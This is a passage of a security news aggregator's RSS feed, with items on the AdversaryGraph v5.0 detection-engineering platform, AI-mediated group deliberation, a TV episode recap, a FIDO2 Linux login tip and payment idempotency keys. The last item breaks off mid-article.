auth.</li><li>Basic auth.</li><li>Custom token header.</li><li>Source selection: access, auth, endpoint, WAF/security, error, structured JSONL, run JSONL, or all attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*DYOx-cPX4OK1g66v.png"></figure><p>The platform also keeps the last 10 non-secret SIEM destinations for reuse. This is useful during repeated parser testing, rule tuning, and dashboard validation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*vpv4bXcWuUgvV4Hx.png"></figure><p>Credentials are not stored as part of the saved destination history. The saved address is intended to reduce typing friction, not to become a secret store.</p><h3>AI Attack Assistant</h3><p>The AI Attack Assistant is one of the main additions in v5.0.</p><p>It helps generate detection-engineering drills by building correlated telemetry stories around selected behavior.</p><p>The assistant supports three modes:</p><ol><li><strong>Selected TTP</strong>: generate a focused validation flow around the technique currently selected in the Attack Simulation page.</li><li><strong>Threat actor</strong>: generate a scenario inspired by a threat actor’s known behavior and ATT&amp;CK profile.</li><li><strong>Challenge Me</strong>: generate a blind multi-phase detection challenge for the analyst.</li></ol><p>There is also a <strong>Complicated attack</strong> option. When enabled, the assistant builds longer multi-source flows across telemetry types such as:</p><ul><li>Windows Security Event Log.</li><li>Sysmon.</li><li>EDR process and file telemetry.</li><li>DNS logs.</li><li>Proxy logs.</li><li>Firewall traffic logs.</li><li>Web access logs.</li><li>WAF/security logs.</li><li>Authentication logs.</li></ul><p>The goal is not to normalize everything into one generic schema. For complicated scenarios, the assistant should preserve source/vendor-shaped event patterns so the SIEM parser and rule logic are tested more realistically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R2jz_jH_4T-N9__R.png"></figure><h3>Coherent Kill Chains, Not Random Events</h3><p>A detection drill should not be a random list of suspicious events.</p><p>In v5.0, complicated scenarios are built as coherent attack chains. The chain has ordered phases, each phase has a reason, and each phase emits events that should correlate with the surrounding activity.</p><p>For example, a password-spray-to-foothold scenario may include:</p><ol><li>Username enumeration.</li><li>Multiple failed authentication attempts.</li><li>One successful logon after failures.</li><li>Endpoint discovery from the authenticated host.</li><li>Suspicious tool transfer.</li><li>Persistence or lateral discovery.</li></ol><p>That is much more useful than a single failed-login event.</p><p>The Attack Chain Graph makes this visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-bkB_LbIx9r5Ro35.png"></figure><p>Each phase can show:</p><ul><li>Phase number.</li><li>ATT&amp;CK technique.</li><li>Telemetry source.</li><li>Event format.</li><li>Event count.</li><li>Detection goal.</li><li>Supporting tags.</li></ul><p>This helps the analyst understand whether the generated activity is a plausible kill chain or just a bag of indicators.</p><h3>Explain Attack</h3><p>When “Challenge Me” or a complex AI-generated scenario is used, the platform includes an <strong>Explain Attack</strong> action.</p><p>This panel explains:</p><ul><li>What the scenario is trying to simulate.</li><li>Why each phase appears in the chain.</li><li>Which telemetry sources matter.</li><li>What the analyst should search for.</li><li>What detections should fire.</li><li>Which false positives or tuning points should be considered.</li><li>What success criteria should be used.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H7lfS2NaR1B5hvEV.png"></figure><p>This is useful for training and validation. It turns generated events into an exercise that a SOC analyst, detection engineer, or CTI analyst can actually follow.</p><h3>Named Scenario Library</h3><p>Release 5.0 includes a library of named coherent scenarios.</p><p>Examples include:</p><ul><li>Web App to Endpoint Compromise.</li><li>Password Spray to Valid Account Foothold.</li><li>SQL Injection to Data Theft.</li><li>Recon to Web Shell Persistence.</li><li>Valid Account to LSASS Access.</li><li>Password Spray to Exfiltration.</li><li>XSS Canary to Session Abuse.</li><li>SSRF Metadata Probe to C2.</li><li>Ransomware Precursor Chain.</li><li>Living-off-the-Land Transfer and Execution.</li><li>Internal Discovery After Foothold.</li><li>Web Enumeration to Password Spray.</li><li>Public App Exploit to Persistence.</li><li>Credential Dump to Cloud Upload.</li><li>Signed Binary Proxy to C2.</li><li>FIN7-style web, identity, and persistence flow.</li><li>APT29-style identity and PowerShell flow.</li><li>Lazarus-style delivery and exfiltration flow.</li><li>Noisy red-team drill.</li><li>Stealthy low-volume intrusion chain.</li><li>WAF bypass retry chain.</li><li>Service account abuse.</li><li>External recon to credential access.</li><li>C2 telemetry validation.</li><li>Persistence control validation.</li></ul><p>These are not meant to prove that a real actor attacked you. They are templates for detection validation and training. They help answer questions like:</p><ul><li>Does my SIEM parse this source?</li><li>Does my correlation rule see the sequence?</li><li>Does the detection alert only on one event or on the chain?</li><li>Can analysts reconstruct the story from logs?</li><li>Which telemetry source is missing?</li><li>Where do false positives appear?</li></ul><h3>Safety Boundaries</h3><p>Attack Simulation must be safe by design.</p><p>The v5.0 module follows several boundaries:</p><ul><li>It does not execute malware.</li><li>It does not run arbitrary commands.</li><li>It does not exploit arbitrary external targets.</li><li>Web simulation traffic is limited to predefined benign canaries against the local lab target.</li><li>SIEM forwarding sends generated Attack Simulation telemetry.</li><li>Unsafe URL schemes and metadata/link-local destinations are blocked.</li><li>Credentials used for forwarding are used only for the current request and are not stored.</li></ul><p>This matters because the target user is a defender. The feature is built for detection engineering, parser validation, SOC drills, and authorized lab workflows.</p><h3>How This Fits Detection Engineering</h3><p>Detection engineering is not only writing rules. It is a lifecycle:</p><ol><li>Understand the adversary behavior.</li><li>Map it to ATT&amp;CK or another behavior model.</li><li>Identify required telemetry.</li><li>Confirm that telemetry exists.</li><li>Confirm that parsing works.</li><li>Write detection logic.</li><li>Test the logic with realistic events.</li><li>Tune false positives.</li><li>Document assumptions and gaps.</li><li>Re-test when infrastructure or parsers change.</li></ol><p>AdversaryGraph v5.0 tries to support this lifecycle directly.</p><p>The CTI modules help with steps 1 and 2.</p><p>IOC and malware modules help enrich the investigation context.</p><p>Asset attack-surface mapping helps identify relevant entry points.</p><p>Attack Simulation helps with steps 3 through 8.</p><p>Reports and docs help with steps 9 and 10.</p><h3>Architecture Overview</h3><p>The self-hosted platform is built around a browser frontend and API backend.</p><p>At a high level:</p><ul><li>Frontend: React/Vite user interface.</li><li>Backend: FastAPI service.</li><li>Database: PostgreSQL for stored investigations and platform data.</li><li>Background jobs: Redis/Celery where needed.</li><li>ATT&amp;CK data: synchronized from MITRE sources.</li><li>AI providers: operator-configured providers such as Claude, OpenAI, Gemini, MiniMax, or local OpenAI-compatible services.</li><li>Malware workflow: MalwareGraph-backed analysis components.</li><li>Attack lab: Docker-based target services for controlled telemetry generation.</li><li>SIEM forwarding: HTTP(S) delivery to configured collectors.</li></ul><p>For the v5.0 web simulation flow, the important architectural distinction is:</p><p>AdversaryGraph does not simply invent an access log line for the UI. It sends real HTTP requests to the lab web target, and the lab web target emits server-side logs.</p><p>For AI-generated complicated scenarios, the goal is different. The assistant generates source-shaped telemetry for SIEM parser and detection validation. This is not proof of compromise, and it is not a replacement for live lab execution. It is a defensive validation tool for testing ingestion, parsers, correlation, dashboards, and analyst workflows.</p><h3>Example Use Case: Password Spray Detection</h3><p>A common detection engineering task is password spray validation.</p><p>The analyst wants to know:</p><ul><li>Do we ingest authentication failures?</li><li>Are usernames parsed correctly?</li><li>Can we count failures across many users?</li><li>Can we detect one source trying one password against many accounts?</li><li>Can we correlate a later successful login?</li><li>Can we connect the successful login to endpoint activity?</li></ul><p>With AdversaryGraph v5.0, the workflow becomes:</p><ol><li>Select a credential-access or brute-force related TTP.</li><li>Choose the password spray scenario.</li><li>Run the lab or AI-assisted flow.</li><li>Observe authentication-related events.</li><li>Forward the events to the SIEM.</li><li>Confirm the parser.</li><li>Confirm the rule.</li><li>Review the chain graph.</li><li>Use Explain Attack to document what should have happened.</li><li>Record gaps.</li></ol><p>The important part is the chain. A single 4625-like event is not enough. A realistic validation should include many failures, many users, timing, source consistency, and possibly one later success.</p><h3>Example Use Case: Web Recon to Exploit-Shaped Telemetry</h3><p>For a web application detection scenario, the analyst may want to test:</p><ul><li>Path discovery.</li><li>Sensitive file probing.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>WAF canary classification.</li><li>Access-log parser behavior.</li><li>SIEM dashboards for web attacks.</li></ul><p>AdversaryGraph can run approved web canaries against the lab web target, then show the real target-side logs in the UI.</p><p>This lets the detection engineer validate more than a rule. It validates whether the web tier emits usable logs and whether the SIEM receives enough context to detect the behavior.</p><h3>Example Use Case: Malware Findings to Detection Validation</h3><p>The malware module can produce findings such as:</p><ul><li>Suspicious imports.</li><li>Strings.</li><li>Packed sample indicators.</li><li>Function-level behavior.</li><li>Potential IOCs.</li><li>ATT&amp;CK candidates.</li><li>AI-assisted summaries.</li></ul><p>Those findings can feed detection engineering:</p><ul><li>Which API calls should we monitor?</li><li>Which command lines or process patterns matter?</li><li>Which persistence mechanisms appear?</li><li>Which network indicators are useful?</li><li>Which behaviors should become validation scenarios?</li></ul><p>AdversaryGraph’s value is that malware findings do not stay isolated in a reverse-engineering note. They can be connected back to ATT&amp;CK and validation planning.</p><h3>Example Use Case: Asset Inventory to Attack Surface</h3><p>Asset inventories often live in spreadsheets, CMDB exports, or scanner output. The security team may know what exists, but not how to translate that into likely ATT&amp;CK entry points.</p><p>The Asset Attack Surface module helps with:</p><ul><li>Normalizing assets.</li><li>Identifying exposed services.</li><li>Scoring exposure.</li><li>Mapping likely entry points.</li><li>Proposing ATT&amp;CK candidates.</li><li>Creating saved cases.</li></ul><p>This connects directly to Attack Simulation because a high-risk public web application or VPN service should map to validation scenarios around external discovery, exploitation attempts, credential attacks, and logging coverage.</p><h3>What This Release Is Not</h3><p>It is important to define what v5.0 is not.</p><p>It is not an autonomous attack platform.</p><p>It is not a malware execution system.</p><p>It is not a replacement for a full cyber range.</p><p>It is not attribution proof.</p><p>It is not a guarantee that a detection works in production.</p><p>It is an analyst-assistance and validation platform. Its output should be reviewed by qualified analysts and detection engineers before operational use.</p><h3>What Makes v5.0 Different</h3><p>The main difference is the connection between CTI and validation.</p><p>Many tools stop at one of these points:</p><ul><li>Visualize ATT&amp;CK.</li><li>Extract TTPs.</li><li>Store IOCs.</li><li>Generate sample logs.</li><li>Run a lab attack.</li><li>Forward events.</li></ul><p>AdversaryGraph tries to connect these into one workflow:</p><ol><li>Understand the behavior.</li><li>Map it.</li><li>Enrich it.</li><li>Simulate it safely.</li><li>Observe telemetry.</li><li>Send it to the SIEM.</li><li>Explain what happened.</li><li>Document what passed and what failed.</li></ol><p>That is the direction I want the platform to continue moving.</p><h3>Getting Started</h3><p>If you want to explore the public interface:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p><strong>If you want the full private platform:</strong></p><pre>git clone https://github.com/anpa1200/adversarygraph.git<br>cd adversarygraph<br>cp .env.example .env<br>docker compose up</pre><p><strong>Then open:</strong></p><pre>http://localhost:3000</pre><p><strong>Read the full documentation here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/">AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Attack Simulation guide:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/attack-simulation/">Attack Simulation | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Project page:</strong></p><p><a href="https://1200km.com/adversarygraph/">AdversaryGraph AI - CTI-to-Detection Platform</a></p><p><strong>GitHub release:</strong></p><p><a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">Release AdversaryGraph v5.0.0 · anpa1200/adversarygraph</a></p><h3>Final Thoughts</h3><p>AdversaryGraph v5.0 is a step toward a more complete CTI-to-detection workflow.</p><p>The platform is still built around a simple idea: intelligence should not end as a static report. It should become a mapped, enriched, validated, and explainable defensive workflow.</p><p>With Attack Simulation, SIEM forwarding, real lab telemetry, AI-assisted scenario generation, and attack-chain explanation, v5.0 moves AdversaryGraph closer to that goal.</p><p>The next challenge is to continue improving realism: more telemetry sources, more lab targets, better parser validation, stronger scenario libraries, and deeper connections between malware analysis, asset exposure, and detection engineering.</p><p>If you work in CTI, SOC operations, detection engineering, malware analysis, or purple-team validation, I would be glad to hear feedback.</p><p>Project:</p><p><a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></p><p>Documentation:</p><p><a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></p><p>Live workspace:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p>Main page:</p><p><a href="https://1200km.com/">Andrey Pautov - CTI &amp; Detection Engineering</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=21873b2a6c39" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39">AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How America's 250th birthday became a test of AI-powered collective intelligence]]></title>
<description><![CDATA[Imagine if you could bring 250 people together in a massive room and have them discuss and debate an important issue, arguing the points and counterpoints, and converging on answers that accurately reflect their collective knowledge, wisdom, values, and sensibilities.Now imagine that you convened...]]></description>
<link>https://tsecurity.de/de/3645848/it-nachrichten/how-americas-250th-birthday-became-a-test-of-ai-powered-collective-intelligence/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645848/it-nachrichten/how-americas-250th-birthday-became-a-test-of-ai-powered-collective-intelligence/</guid>
<pubDate>Sat, 04 Jul 2026 22:16:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Imagine if you could bring 250 people together in a massive room and have them discuss and debate an important issue, arguing the points and counterpoints, and converging on answers that accurately reflect their collective knowledge, wisdom, values, and sensibilities.</p><p>Now imagine that you convened this debate on <b>America’s 250</b><b><sup>th</sup></b><b> birthday</b> and asked 250 randomly selected Americans to come up with the <b>top three innovations </b>that America has contributed to the world over the last 250 years.<b> </b>What would they come up with?</p><p>I know – this all sounds impossible. </p><p>After all, you can’t get more than a dozen people to have a productive conversation on anything. At large scale, nobody would get enough airtime to express their views or respond to others. This is why typical business meetings or focus groups never have more than 8 to 10 people. Thoughtful real-time conversations just don’t scale.</p><p>To solve this, a new category of AI technology called <i>“hyper-communication</i>” is greatly expanding the size, scope, and efficiency of large-scale deliberations. It uses specialized <a href="https://venturebeat.com/technology/agentic-ai-solved-coding-and-exposed-every-other-problem-in-software-engineering">AI agents</a> to connect groups in real-time, allowing people to <a href="https://www.intechopen.com/chapters/1223362"><u>discuss and debate issues at any scale</u></a>. The goal is to enable hundreds or even thousands of participant to hold thoughtful discussions where they can express their views and argue the merits of any issue. </p><p>I first wrote about this emerging technology in VentureBeat two years ago in an article about “<a href="https://venturebeat.com/ai/can-we-use-generative-ai-to-build-a-global-hive-mind"><u>Collective Superintelligence</u></a>.” In that piece, I explain how large human groups can be hyper-connected by AI agents in ways that greatly <a href="https://arxiv.org/abs/2401.15109"><u>amplify the group’s collective intelligence</u></a>. You can check out the science behind hyper-communication in that prior VentureBeat piece. Here I am focusing on the debate among 250 Americans on America’s birthday.</p><p>To do this, I asked the team at Unanimous AI to field a randomly selected group of at least 250 Americans (with a broad distribution from every region in the country and diverse mix of political and social demographics) and invite them to a twenty-minute online debate inside a hyper-communication platform called <a href="https://www.thinkscape.ai/"><u>Thinkscape</u></a> that enables massively scalable discussion by text, voice, or video.   </p><p>Once connected, we asked the group to come up with the <b>top three contributions</b> that America has made to the world over the last 250 years – not a survey of opinions, but deliberation of ideas,  arguments, evidence, and reasoning. The group converged on a set of top answers that surprised me – but on reflection, they were sensible and well-reasoned. </p><p>Before getting into the answers, let me show you what the debate looks like behind the scenes. There were 277 people, each of them debating the issues with four or five other people in parallel discussion spaces. The magic is the <a href="https://unanimous.ai/hyperchat-ai/"><u>swarm of AI agents</u></a> that connect all the small groups together into a single real-time deliberation.This is what it looks like at high speed:</p><p>In the debate above, the group of 277 people came up with <b>94 different ideas</b> and then narrowed it down to a <b>top 10,</b> then a <b>top 3</b>. In the gif above, we  just plot the top ten ideas as they emerged and battle for support during the live conversational debate. </p><p>The most interesting part of a large debate like this is not the answers, but the reasons that emerge to justify the answers. Here is the group’s reasoning behind the “top three innovations” that America has given to the world over the last 250 years:</p><p><b>#1: The Internet:</b> <i>“Our collective perspective is that America’s greatest contribution to the world over the past 250 years is the internet. It was born exclusively in the U.S. through academic and government research and was scaled globally with profound impact. It transformed communication, democratized information and education, enabled commerce, medicine, research and cultural exchange, and amplified soft power and civic organizing. We also acknowledged significant harms (misinformation, addiction, privacy loss) and arguments that it’s recent, global, or not uniquely American.”</i></p><p><b>#2 Advances in medicine</b>: <i>“Our collective perspective is that the United States has saved and prolonged hundreds of millions of lives worldwide. American-developed vaccines have successfully eradicated or controlled once-deadly diseases, significantly extending life expectancy and enabling broader societal and technological progress. From major breakthroughs in cancer research and treatments to cutting-edge medical technologies that have revolutionized hospital safety and procedures, U.S. ingenuity has redefined healthcare. Ultimately, while the global diffusion of affordable medicines and vaccines has extended these benefits across borders, the U.S. remains a premier medical destination where people from around the world travel to receive the most advanced treatments.”</i></p><p><b>#3: Spreading democracy:</b>  “Our collective perspective is that one of America’s most significant global contributions is the nation's system of governance. The US has long demonstrated democracy in practice as an enduring global model. The U.S. Constitution provided a vital blueprint for representative government, inspiring democratic movements and revolutions worldwide while actively promoting human rights and individual liberties internationally. By empowering citizens with the fundamental power to vote and choose their own leaders, this framework has served as a foundational framework for broader societal advances and directly helped establish thriving democracies around the world.”</p><p>It’s important to remember, this is 100% human intelligence — a pure reflection of the collective knowledge, wisdom, and values of 277 randomly selected Americans. That’s because the role of the AI agents in a <a href="https://unanimous.ai/hyperchat-ai/"><u>hyper-communication system</u></a> is to <i>connect people, </i>not replace them. The agents work to enable scalable <i>human deliberation</i> in which every participant is given optimized ability to express their views, respond to others, and converge on solutions based on their merits. The only question left is — <b>what should we ask next? </b></p><p><i></i><a href="https://sites.google.com/view/louisrosenberg/bio"><i><u>Louis Rosenberg</u></i></a><i> earned his PhD from Stanford University, was a professor at California State University (Cal Poly) and has been awarded over 300 patents for his work in human-computer interaction, AI, and collective intelligence.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sugar Season 2 Latest Episode Recap and Ending Explained]]></title>
<description><![CDATA[Sugar Season 2 has returned on Apple TV with John Sugar pulled deeper into a dangerous Los Angeles mystery. The latest episode, Season 2 Episode 3, “Watch Face,” follows Sugar after the shooting and pushes the case toward gang violence, police corruption, and Ji Moon’s strange disappearance.




...]]></description>
<link>https://tsecurity.de/de/3645111/ios-mac-os/sugar-season-2-latest-episode-recap-and-ending-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645111/ios-mac-os/sugar-season-2-latest-episode-recap-and-ending-explained/</guid>
<pubDate>Sat, 04 Jul 2026 11:21:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2 has returned on Apple TV with John Sugar pulled deeper into a dangerous Los Angeles mystery. The latest episode, Season 2 Episode 3, “Watch Face,” follows Sugar after the shooting and pushes the case toward gang violence, police corruption, and Ji Moon’s strange disappearance.




Episodes: 8 episodes



Genre: Mystery, drama, neo-noir, sci-fi



Started airing: June 19, 2026



Finale date: August 7, 2026



Latest episode: Episode 3, “Watch Face,” released July 3, 2026




Spoilers ahead for Sugar Season 2 Episode 3.







The episode begins right after Sugar survives the attack on his life. His recovery is quick because of his alien blood treatment, but the shooting makes it clear that someone wants him away from the Ji Moon case.



Sugar continues looking into the EZ4 gang and tries to find Guapo, the person linked to the violence around Chuy’s death and Ji’s disappearance. At the same time, Ji finally appears again and contacts Danny, but the meeting goes wrong when Ji mistakes Sugar for a cop and runs away.



The ending becomes more intense when Sugar reaches Guapo. Before Sugar can get real answers, a police raid breaks out and Guapo is killed. The biggest clue comes from a watch, which connects the raid to a corrupt officer and suggests that the danger around Ji goes much higher than one gang.



The episode ends by making Sugar’s case larger than a missing person mystery. Ji is alive, Danny is being pulled toward a risky boxing opportunity, and Sugar now has stronger reason to believe that the police, the gangs, and the hidden “Fire Sale” thread are connected.



Ending Explained



The ending shows that Guapo was never the full answer. His death removes one lead, but it also exposes the larger cover-up around the case.



The watch is the key detail. It links the violent men around the case to someone inside law enforcement, which means Sugar is not just dealing with street-level crime. He is moving toward a conspiracy that can protect itself from inside the system.



Ji running away also matters. He is scared, unstable, and clearly hiding something, but he is not just a victim waiting to be saved. His actions suggest he knows more about the people chasing him, and Danny’s Vegas fight offer may be part of the same trap.



FAQs



When did Sugar Season 2 Episode 3 release? Sugar Season 2 Episode 3, titled “Watch Face,” released on July 3, 2026, on Apple TV.  How many episodes are in Sugar Season 2? Sugar Season 2 has 8 episodes, with new episodes releasing weekly until August 7, 2026.  Is Ji Moon alive in Sugar Season 2 Episode 3? Yes, Ji Moon appears alive in Episode 3, but he escapes after thinking Sugar is a cop.  What does the watch mean in Sugar Season 2 Episode 3? The watch points toward police corruption and connects the ending to the larger mystery around the “Fire Sale” thread.  



Sugar Season 2 is streaming on Apple TV in the US, Apple TV costs $12.99 per month after the trial. What do you plan to watch next? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[PSA: Secure and consistent fingerprint login solution for Linux]]></title>
<description><![CDATA[I have been going in circles trying to find a secure fingerprint authentication for Linux which works with fprintd. Needless to say, finding a good one from reputed brand is hard, especially in a small laptop-friendly form factor. At last, I found https://www.amazon.com/dp/B0H2GRH9CD This is not ...]]></description>
<link>https://tsecurity.de/de/3642592/linux-tipps/psa-secure-and-consistent-fingerprint-login-solution-for-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642592/linux-tipps/psa-secure-and-consistent-fingerprint-login-solution-for-linux/</guid>
<pubDate>Fri, 03 Jul 2026 04:08:21 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I have been going in circles trying to find a secure fingerprint authentication for Linux which works with fprintd. Needless to say, finding a good one from reputed brand is hard, especially in a small laptop-friendly form factor. At last, I found <a href="https://www.amazon.com/dp/B0H2GRH9CD">https://www.amazon.com/dp/B0H2GRH9CD</a></p> <p>This is not exactly a fingerprint device but it's a bio FIDO2 key which works well with pam_u2f on nearly all Linux systems (Fedora/Arch/Cachy). With this, the fingerprint is scanned and saved in the device itself while U2F is used to authenticate with PAM. This is far more secure, with the bonus benefit of being able to use it to authenticate with banking and various online accounts.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/wingz_77"> /u/wingz_77 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1ulbkdl/psa_secure_and_consistent_fingerprint_login/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ulbkdl/psa_secure_and_consistent_fingerprint_login/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why an idempotency key isn’t an idempotency guarantee]]></title>
<description><![CDATA[It started with a one-line message from a finance team on a Tuesday afternoon: A handful of customers had been charged twice that day, and one was disputing a duplicate charge with their bank.



I went straight to the monitoring, expecting to find something broken. Instead, everything looked hea...]]></description>
<link>https://tsecurity.de/de/3640602/ai-nachrichten/why-an-idempotency-key-isnt-an-idempotency-guarantee/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640602/ai-nachrichten/why-an-idempotency-key-isnt-an-idempotency-guarantee/</guid>
<pubDate>Thu, 02 Jul 2026 11:04:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It started with a one-line message from a finance team on a Tuesday afternoon: A handful of customers had been charged twice that day, and one was disputing a duplicate charge with their bank.</p>



<p>I went straight to the monitoring, expecting to find something broken. Instead, everything looked healthy: By the system’s own records, every order had been paid exactly once. It took the team a month of digging through production incidents to close the gap between a dashboard that said, “all good,” and a customer billed twice.</p>



<p>I’ve since seen this kind of failure across multiple payment systems, some handling hundreds of thousands of transactions a day. What follows is a composite and doesn’t describe any single system or organization. The numbers, timings and identifying details have been changed to keep anything proprietary out.</p>



<h2 class="wp-block-heading">The retry that charged twice</h2>



<p>A customer clicked Pay; the order service called the payment service, which called the external provider. The provider charged the card for $200 and recorded a success on its side.</p>



<p>The only thing that went wrong was timing. The provider was under load and took just over 3 seconds to answer. The client gave up after 2 seconds, a default inherited from internal service calls and never tuned for payments. From the caller’s side, the call had simply failed, so nothing was marked as paid.</p>



<p>The retry logic did what it was built to do and sent the request again. The provider saw what looked like a fresh charge and took the money a second time. The database recorded one payment: the retry. The first charge lived only in the provider’s records, invisible to us until the complaints came in.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/idempotentecy-1.png?w=1024" alt="The database recorded one payment: the retry. The first charge lived only in the provider's records, invisible to us until the complaints came in." class="wp-image-4191747" width="1024" height="462" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Violetta Pidvolotska</p></div>



<p>The duplicates were refunded within hours, before the dispute could become a chargeback. Understanding what had actually failed took much longer.</p>



<p>Later, we widened the timeout well past the provider’s slowest healthy responses, but as long as a retry can trigger a second charge, a longer timeout only makes the double charge rarer.</p>



<p>The real mistake was older than the limit itself. The system had been told that a timeout means failure.</p>



<h2 class="wp-block-heading">The third state</h2>



<p>We tend to think of a network call as having two outcomes: it worked or it didn’t. A timeout is the third. The request may never have arrived. It may have done its work and lost the response on the way back. That is what bit us. Or it may still be running. From the caller’s side, you can’t tell which.</p>



<p>Code rarely has a separate path for “unknown.” It gets lumped in with failure and the failure path retries. When the request moves money, that is how you charge someone twice.</p>



<p>A slow service shows up as rising response times, an unreliable one as errors. A double charge shows up as a success, and nobody noticed until a customer did.</p>



<p>Timeouts, which I’ve <a href="https://www.infoworld.com/article/4137968/the-reliability-cost-of-default-timeouts.html">written about before</a>, turn silent hangs into visible failures. And visible failures get retried, which is how we arrived at idempotency.</p>



<p>“Exactly-once” gets used as if it were a setting you could turn on. You cannot promise exactly-once delivery across an unreliable network, as Tyler Treat explains. What you can promise is exactly-once effects: The request may arrive twice, while the charge happens once.</p>



<p>My first instinct was to stop retrying payments automatically and it helped. But not every retry is ours to switch off: The customer refreshes the page, or a retry policy somewhere in the infrastructure resends on its own.</p>



<h2 class="wp-block-heading">The assumptions under the key</h2>



<p>The standard remedy is an idempotency key: The caller attaches a unique value to one attempt at an operation and sends the same value on every retry. A new key gets processed and its result stored; a familiar one gets the stored result back, so the retry has no extra effect. Brandur Leach’s <a href="https://brandur.org/idempotency-keys">walkthrough of Stripe-like idempotency keys in Postgres</a> lays the pattern out end to end.</p>



<p>The key was shipped and the duplicates stopped. But we relaxed too early. The key turned out to be the easy part.</p>



<p>A key like this rests on four assumptions. I’ve since turned them into a checklist I call the four-assumptions test:</p>



<ul class="wp-block-list">
<li><strong>Claim.</strong> Claiming a key is just a matter of checking it’s free first.</li>



<li><strong>Intent.</strong> The same key always carries the same intent.</li>



<li><strong>Memory.</strong> Whatever a key remembers is safe to replay.</li>



<li><strong>Boundary</strong>. Nothing behind the key lies beyond your control.</li>
</ul>



<p>Over the following month, all four broke: The race in a load test, the other three in production.</p>



<h2 class="wp-block-heading">Two requests, same millisecond</h2>



<p>In a load test, two requests with the same key arrived in the same millisecond. Each checked for the key; neither found it and both started processing.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/idempotentecy-2.png?w=1024" alt="In a load test, two requests with the same key arrived in the same millisecond. Each checked for the key, neither found it and both started processing." class="wp-image-4191749" width="1024" height="531" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Violetta Pidvolotska</p></div>



<p>“Check whether the key exists, then write it” is a race like any other and it broke the claim assumption. We fixed it by flipping the order: now writing the key <em>is</em> the check. Every request writes it as “started” and the database lets only one claim win. The safeguard:</p>



<pre class="wp-block-code"><code>-- Try to claim the key; the UNIQUE index lets only one caller win.
INSERT INTO operations (idempotency_key, state) VALUES (:key, 'started')
ON CONFLICT (idempotency_key) DO NOTHING;</code></pre>



<p>The insert touches one row or none, and that count tells you which path you’re on. One row means you won: Call the provider, then mark the row ‘completed’ and save the response. None means you lost: Read the row and return its saved response or tell the caller to retry later if it is still ‘started’.</p>



<p>One detail is easy to get wrong: Commit the claim before the provider call goes out. Otherwise, a crash rolls it back and erases the only record that a charge may be in flight.</p>



<p>The harder case is a winning request that crashes mid-charge: Its key is stuck at “started,” and every retry is told to wait for an answer that will never come. A stuck claim is the same unknown all over again: Once it has sat in “started” longer than any healthy call could take, ask the provider what actually happened before anyone charges again.</p>



<h2 class="wp-block-heading">Same key, different request</h2>



<p>The second gap appeared a week into production and broke the intent assumption: A caller reused one key for two different requests, $200 and $500, and the system returned the first request’s stored response without noticing the amount had changed.</p>


